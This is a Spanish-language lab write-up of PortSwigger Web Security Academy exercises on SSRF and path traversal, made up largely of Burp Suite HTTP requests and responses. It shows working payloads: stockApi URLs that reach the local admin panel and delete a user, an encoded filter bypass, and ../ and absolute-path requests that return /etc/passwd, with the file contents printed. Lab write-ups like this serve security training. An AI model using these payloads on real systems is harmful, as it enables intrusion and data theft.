

Ataques SSRF y Path Traversal

Ejercicios SSRF

1.-

Request

```

POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0xa50000c01002da4012a308000a50052.web-security-academy.net/pr
oduct?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
stockApi=http://localhost/admin/delete?username=carlos

```

Inspector

Selected text: `//stock.weliketoshop.net/v3/stocks/1?checkIfStockIsAvailable=1`

Decoded from: URL encoding `//stock.weliketoshop.net:8080/product?checkIfStockIsAvailable=1`

Request attributes: 2

Request query parameters: 0

Request body parameters: 1

Request cookies: 1

Request headers: 20

Response

Description:
In a world that is changing, on a planet we are learning to love and take care of, the more we can do to help the environment the better. Here at Planet Love, we are taking this quest very seriously. Let us introduce the first eco, single-use, boat.
The Eco Boat is made entirely from paper and reinforced with a super strength adhesive, which will keep you afloat for 30 minutes. After 30 minutes the adhesive will have dissolved due to the high salt content in the ocean, therefore, it is paramount you time your trip to the second. Fifteen minutes each way is more than enough time to enjoy a romantic sunset or to partake of a light supper.
In conjunction with the beach services committee, a number of recycling tubs have been situated in the most popular tourist attractions. After your journey, you will be able to easily fold up the soggy paper and pop it into one of the conveniently positioned receptacles. How many people can say they have enjoyed such a unique experience, and been proactive in saving our beautiful planet at the same time?
Lead the way in leisure activities and join Planet Love today.

London Check stock

Request

```

Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: "?0"
Sec-Ch-Ua: "Not I Brand";v="99", "Chromium";v="142"
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0xa50000c01002da4012a308000a50052.web-security-academy.net/pr
oduct?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
stockApi=http://localhost/admin

```

Inspector

Request attributes: 2

Request query parameters: 0

Request body parameters: 1

Request cookies: 2

Request headers: 21

Response

Description:
In a world that is changing, on a planet we are learning to love and take care of, the more we can do to help the environment the better. Here at Planet Love, we are taking this quest very seriously. Let us introduce the first eco, single-use, boat.
The Eco Boat is made entirely from paper and reinforced with a super strength adhesive, which will keep you afloat for 30 minutes. After 30 minutes the adhesive will have dissolved due to the high salt content in the ocean, therefore, it is paramount you time your trip to the second. Fifteen minutes each way is more than enough time to enjoy a romantic sunset or to partake of a light supper.
In conjunction with the beach services committee, a number of recycling tubs have been situated in the most popular tourist attractions. After your journey, you will be able to easily fold up the soggy paper and pop it into one of the conveniently positioned receptacles. How many people can say they have enjoyed such a unique experience, and been proactive in saving our beautiful planet at the same time?
Lead the way in leisure activities and join Planet Love today.

London Check stock

Intercept

HTTP history WebSockets history Match and replace Proxy settings

Intercept off Forward Drop Open browser

WebSecurity Academy Basic SSRF against the local server

Back to lab description LAB Not solved

Home | Admin panel | My account

Users

wiener - Delete carlos - Delete

```

https://0xa50000c01002da4012a308000a50052.web-security-academy.net/pr
oduct?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
stockApi=http://localhost/admin/delete?username=carlos

```

Congratulations, you solved the lab!

Share your skills! Continue learning >

[Home](#) | [Admin panel](#) | [My account](#)

User deleted successfully!

Users

wiener - Delete

2.- (Es de Burp Collaborator y no me ha funcionado en el community)

The screenshot shows the Burp Suite interface with a POST request to `/product/stock HTTP/2`. The payload is set to `Numbers` with a count of 254. The response shows a JSON object with the key `error` and the value `"External stock check blocked for security reasons"`.

3.- (Es de Burp Collaborator)

4.-

The screenshot shows the Burp Suite interface with a POST request to `/product/stock HTTP/2`. The response shows a 400 Bad Request error with the message `"External stock check blocked for security reasons"`.

Send | | Cancel | | | Burp AI

Target: https://0a3d008603de8ca082cad3e

Request		Response	
Pretty	Raw	Hex	Render
<pre> 1 POST /product/stock HTTP/2 2 Host: 0a3d008603de8ca082cad38000ae00a3.web-security-academy.net 3 Cookie: session=GpjykwczinSAWinIHaOBfcFuhNlm0Z 4 Content-Length: 27 5 Sec-Ch-Ua-Platform: "Windows" 6 Accept-Language: es-ES,es;q=0.9 7 Sec-Ch-Ua: "Not_A_Brand";v="99", "Chromium";v="142" 8 Content-Type: application/x-www-form-urlencoded 9 Sec-Ch-Ua-Mobile: ?0 10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 11 Accept: */ 12 Origin: https://0a3d008603de8ca082cad38000ae00a3.web-security-academy.net 13 Sec-Fetch-Site: same-origin 14 Sec-Fetch-Mode: cors 15 Sec-Fetch-Dest: empty 16 Referer: https://0a3d008603de8ca082cad38000ae00a3.web-security-academy.net/product?productId=3 17 Accept-Encoding: gzip, deflate, br 18 Priority: u=1, i 19 20 stockApi=http://127.1/admin </pre>		<pre> 1 HTTP/2 400 Bad Request 2 Content-Type: application/json; charset=utf-8 3 X-Frame-Options: SAMEORIGIN 4 Content-Length: 51 5 6 "External stock check blocked for security reasons" </pre>	
Request		Response	
Pretty	Raw	Hex	Render
<pre> 1 POST /product/stock HTTP/2 2 Host: 0a3d008603de8ca082cad38000ae00a3.web-security-academy.net 3 Cookie: session=GpjykwczinSAWinIHaOBfcFuhNlm0Z 4 Content-Length: 31 5 Sec-Ch-Ua-Platform: "Windows" 6 Accept-Language: es-ES,es;q=0.9 7 Sec-Ch-Ua: "Not_A_Brand";v="99", "Chromium";v="142" 8 Content-Type: application/x-www-form-urlencoded 9 Sec-Ch-Ua-Mobile: ?0 10 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 11 Accept: */ 12 Origin: https://0a3d008603de8ca082cad38000ae00a3.web-security-academy.net 13 Sec-Fetch-Site: same-origin 14 Sec-Fetch-Mode: cors 15 Sec-Fetch-Dest: empty 16 Referer: https://0a3d008603de8ca082cad38000ae00a3.web-security-academy.net/product?productId=3 17 Accept-Encoding: gzip, deflate, br 18 Priority: u=1, i 19 20 stockApi=http://127.1/%2561dmin </pre>	<pre> 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 </pre>	<pre> </p> Admin panel <p> </p> My account <p> </p> </section> </header> <header class="notification-header"> </header> <section> <h1> Users </h1> <div> wiener - Delete </div> <div> carlos - Delete </pre>	
		stockApi=http://127.1/%2561dmin/delete?username=carlos	

Congratulations, you solved the lab!

Share your skills! Continue learning >

[Home](#) | [Admin panel](#) | [My account](#)

User deleted successfully!

Users

wiener - [Delete](#)

Ejercicios Path Traversal

1.-

```

Target: https://0a0a0b504b83ae482b74ce8006c00d4.web-security-academy.net

Request
Pretty Raw Hex
1 GET /image?filename=../../../../etc/passwd HTTP/2
2 Host: 0a0a0b504b83ae482b74ce8006c00d4.web-security-academy.net
3 Cookie: session=85tzXPzXpGFDWRs1Cxh0AFWqcx8IJ1
4 Sec-Ch-Ua: "Not_A_Brand";v="99", "Chromium";v="142"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Windows"
7 Accept-Language: es-ES,es;q=0.9
8 Upgrade-Insecure-Requests: 1
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
11 Sec-Fetch-Site: same-origin
12 Sec-Fetch-Mode: navigate
13 Sec-Fetch-User: ?1
14 Sec-Fetch-Dest: document
15 Referer: https://0a0a0b504b83ae482b74ce8006c00d4.web-security-academy.net/product?productId=1
16 Accept-Encoding: gzip, deflate, br
17 Priority: u=0, i
18
19

Response
Pretty Raw Hex Render
1 HTTP/2 200 OK
2 Content-Type: image/jpeg
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 2316
5
6 root:x:0:root:root:/root:/bin/bash
7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
8 bin:x:2:2:bin:/bin:/usr/sbin/nologin
9 sys:x:3:3:sys:/dev:/usr/sbin/nologin
10 sync:x:4:65534:sync:/bin:/sync
11 games:x:5:60:games:/usr/games:/usr/sbin/nologin
12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
13 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
15 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
16 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
17 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
18 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
19 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
20 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
21 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
22 gnats:x:41:41:Gnats Bug-Reporting System:(admin):/var/lib/gnats:/usr/sbin/nologin
23 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
24 _apt:x:100:65534:/:nonexistent:/usr/sbin/nologin
25 peter:x:12001:12001:/home/peter:/bin/bash
26 carlos:x:12002:12002:/home/carlos:/bin/bash
27 user:x:12000:12000:/home/user:/bin/bash
28 elmer:x:12099:12099:/home/elmer:/bin/bash
29 academy:x:10000:10000:/academy:/bin/bash
30 messagebus:x:101:101:/:nonexistent:/usr/sbin/nologin
31 dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
32 systemd-timesync:x:103:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
33 systemd-network:x:104:105:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
34 systemd-resolve:x:105:106:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin

```



File path traversal, simple case

[Back to lab description >](#)

LAB Solved



Congratulations, you solved the lab!

Share your skills! Continue learning [»](#)

2.-

```

Request
Pretty Raw Hex
1 GET /image?filename=/etc/passwd HTTP/2
2 Host: 0abd00d0404e2cb8800845db700de00a3.web-security-academy.net
3 Cookie: session=nnaupRd97D6jTc9dFmzquzBSQxextg
4 Sec-Ch-Ua: "Not_A_Brand";v="99", "Chromium";v="142"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Windows"
7 Accept-Language: es-ES,es;q=0.9
8 Upgrade-Insecure-Requests: 1
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
11 Sec-Fetch-Site: same-origin
12 Sec-Fetch-Mode: navigate
13 Sec-Fetch-User: ?1
14 Sec-Fetch-Dest: document
15 Referer: https://0abd00d0404e2cb8800845db700de00a3.web-security-academy.net/product?productId=1
16 Accept-Encoding: gzip, deflate, br
17 Priority: u=0, i
18
19

Response
Pretty Raw Hex Render
1 root:x:0:root:root:/root:/bin/bash
2 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
3 bin:x:2:2:bin:/bin:/usr/sbin/nologin
4 sys:x:3:3:sys:/dev:/usr/sbin/nologin
5 sync:x:4:65534:sync:/bin:/sync
6 games:x:5:60:games:/usr/games:/usr/sbin/nologin
7 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
8 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
9 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
10 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
11 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
12 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
13 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
14 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
15 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
16 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
17 gnats:x:41:41:Gnats Bug-Reporting System:(admin):/var/lib/gnats:/usr/sbin/nologin
18 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
19 _apt:x:100:65534:/:nonexistent:/usr/sbin/nologin
20 peter:x:12001:12001:/home/peter:/bin/bash
21 carlos:x:12002:12002:/home/carlos:/bin/bash
22 user:x:12000:12000:/home/user:/bin/bash
23 elmer:x:12099:12099:/home/elmer:/bin/bash
24 academy:x:10000:10000:/academy:/bin/bash
25 messagebus:x:101:101:/:nonexistent:/usr/sbin/nologin
26 dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
27 systemd-timesync:x:103:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
28 systemd-network:x:104:105:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
29 systemd-resolve:x:105:106:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
30 mysql:x:106:107:MySQL Server,,,:/nonexistent:/bin/false
31 postgres:x:107:110:PostgreSQL:(administrator,,,:/var/lib/postgresql:/bin/bash
32 usbmux:x:108:46:usbmux:daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
33 rtkit:x:109:115:RealtimeKit,,,:/proc:/usr/sbin/nologin

```

Congratulations, you solved the lab!

Share your skills! Continue learning >

[Home](#)

Send Cancel Burp AI Target: <https://0a9800e3038d84678038e4d>

Request		Response	
Pretty	Raw	Pretty	Raw
1 GET /image?filename=../../../../etc/passwd HTTP/2		6 root:x:0:0:root:/root:/bin/bash	
2 Host: 0a9800e3038d84678038e4d8002f00b5.web-security-academy.net		7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin	
3 Cookie: session=2QcZUUPFKDxXtVVvpPSKxurwGaiqpjU		8 bin:x:2:2:bin:/bin:/usr/sbin/nologin	
4 Sec-Ch-Ua: "Not_A Brand";v="99", "Chromium";v="142"		9 sys:x:3:3:sys:/dev:/usr/sbin/nologin	
5 Sec-Ch-Ua-Mobile: ?0		10 sync:x:4:65534:sync:/bin:/bin/sync	
6 Sec-Ch-Ua-Platform: "Windows"		11 games:x:5:60:games:/usr/games:/usr/sbin/nologin	
7 Accept-Language: es-ES,es;q=0.9		12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin	
8 Upgrade-Insecure-Requests: 1		13 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin	
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36		14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin	
10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7		15 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin	
11 Sec-Fetch-Site: same-origin		16 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin	
12 Sec-Fetch-Mode: navigate		17 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin	
13 Sec-Fetch-User: ?1		18 www-data:x:33:33,www-data:/var/www:/usr/sbin/nologin	
14 Sec-Fetch-Dest: document		19 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin	
15 Referer: https://0a9800e3038d84678038e4d8002f00b5.web-security-academy.net/product?productId=8		20 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin	
16 Accept-Encoding: gzip, deflate, br		21 irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin	
17 Priority: u0, i		22 gnats:x:41:41:Gnats Bug-Reporting System	
18		(admin):/var/lib/gnats:/usr/sbin/nologin	
19		23 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin	
		24 _apt:x:100:65534:/:nonexistent:/usr/sbin/nologin	
		25 peter:x:12001:12001:/home/peter:/bin/bash	
		26 carlos:x:12002:12002:/home/carlos:/bin/bash	
		27 user:x:12000:12000:/home/user:/bin/bash	
		28 elmer:x:12099:12099:/home/elmer:/bin/bash	
		29 academy:x:10000:10000:/academy:/bin/bash	
		30 messagebus:x:101:101:/nonexistent:/usr/sbin/nologin	
		31 dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin	
		32 systemd-timesync:x:103:103:systemd_Timesync	
		Synchronization,,,:/run/systemd:/usr/sbin/nologin	
		33 systemd-network:x:104:105:systemd_Network	
		Management,,,:/run/systemd:/usr/sbin/nologin	
		34 systemd-resolve:x:105:106:systemd	
		Resolver,,,:/run/systemd:/usr/sbin/nologin	
		35 mysql:x:106:107:MySQL Server,,,:nonexistent:/bin/false	
		36 postgres:x:107:110:PostgreSQL	
		administrator,,,:/var/lib/postgresql:/bin/bash	
		37 usbmux:x:108:46:usbmux_daemon,,,:/var/lib/usbmux:/usr/sbin/nologin	
		38 rtkit:x:109:115:RealtimeKit,,,:/proc:/usr/sbin/nologin	

Lab: File path traversal, traversal sequences stripped non-recursively

PRACTITIONER
LAB Solved